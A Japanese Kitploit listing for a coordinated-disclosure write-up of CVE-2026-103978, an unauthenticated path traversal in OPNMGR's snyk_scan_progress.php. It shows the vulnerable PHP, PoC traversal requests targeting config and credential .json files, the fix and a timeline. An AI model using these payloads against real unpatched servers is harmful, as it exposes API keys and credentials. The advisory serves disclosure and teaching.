Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-103978 — CVE-2026-103978 の概念実証および解説記事。OPNMGR の snyk_scan_progress.php における認証不要のパストラバーサルであり、任意の .json ファイルの読み取りが可能。 | Kitploit
ツール/GitHubGitHub/kiwknr/cve-2026-103978
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ウェブセキュリティペネトレーションテスト
GitHubkiwknr/cve-2026-103978

CVE-2026-103978

CVE-2026-103978 の概念実証および解説記事。OPNMGR の snyk_scan_progress.php における認証不要のパストラバーサルであり、任意の .json ファイルの読み取りが可能。

リポジトリを見る
11日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-103978 - OPNMGR における未認証のパストラバーサル

任意の .json ファイルの読み取りが、ログイン不要で可能です。PHP で書かれた OPNsense フリートマネージャーである agit8or1/OPNMGR のソースを読んでいて発見しました。

CVECVE-2026-103978
AdvisoryGHSA-8x7v-vwpx-3wr7
ClassCWE-22 (Path Traversal)
Authnone
CVSS v3.17.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS v4.08.7 High
Fixed inv3.10.0
CreditKanarat Kaeothong (Axiom0x)

脆弱性

snyk_scan_progress.php はウェブルートに置かれており、クエリ文字列から scan_id をそのまま受け取り、ファイルパスに貼り付けて、その結果を file_get_contents() に渡します。認証の include も、セッションチェックも、パラメータのサニタイズもありません。

<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? '';                  // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }

$progress_file = "/tmp/snyk_scan_{$scan_id}.json";  // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }

$progress_data = file_get_contents($progress_file);
echo $progress_data;                                // sent back to the caller

アプリ内の他のすべてのエンドポイントは、何かを行う前に inc/bootstrap.php を読み込み、requireLogin() を呼び出します。このエンドポイントだけはそれをすべて省略しています。そのため scan_id は攻撃者が制御でき、そのままパスに挿入され、ファイルの内容がレスポンスとして返されます。

1つ注意点があります。プレフィックス snyk_scan_ は送信した内容にそのまま結合されるため、.. で始まるペイロードは飲み込まれます(snyk_scan_.. は /tmp 内の単なる奇妙なファイル名にすぎません)。.. を実際に親ディレクトリへの移動として機能させるには、まず捨てセグメントが必要です。

/tmp/snyk_scan_ + x/../../etc/passwd  ->  /tmp/snyk_scan_x/../../etc/passwd
                                       ->  /etc/passwd.json

末尾の .json はコードによって強制され、現代の PHP にはヌルバイトトリックもないため、読み取れるのは .json で終わるファイルだけです。実際の PHP デプロイメントでは、これはほとんど制限にはなりません。設定ファイル、サービスアカウントキー、composer の auth.json、クラウド認証情報など、おいしいもののほとんどはすでに .json です。

PoC

GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
  -> returns /var/www/opnsense/config.json

GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
  -> walks to filesystem root, returns /etc/some_config.json

実行可能なバージョンは poc/poc.sh にあります。

影響

www-data が読み取れる .json で終わる任意のファイルが、このページに到達できる誰にでも開示されます。OPNsense ファイアウォールを管理するマシンでは、通常それは API キーと認証情報を意味します。

修正

アプリの他の部分が使用している認証 include を追加し、パスを構築する前に scan_id を厳格な許可リストで検証します。

require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();

$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid scan id']);
    exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';

メンテナーは v3.10.0 で修正をリリースしました。

タイムライン

  • 2026-07-24 発見、ローカルでパス解決を確認
  • 2026-07-24 GitHub Security を通じてメンテナーへ非公開アドバイザリを送信
  • later メンテナーが確認しパッチを適用
  • 2026-10-02 GitHub CNA が CVE-2026-103978 を割り当て

参考資料

  • Advisory: https://github.com/agit8or1/OPNMGR/security/advisories/GHSA-8x7v-vwpx-3wr7
  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-103978
  • Affected file: https://github.com/agit8or1/OPNMGR/blob/main/snyk_scan_progress.php

協調的開示を通じて報告されました。脆弱なバージョンはもはや最新リリースではありません。この記事は参考と学習のためにここにあります。

ツールをダウンロード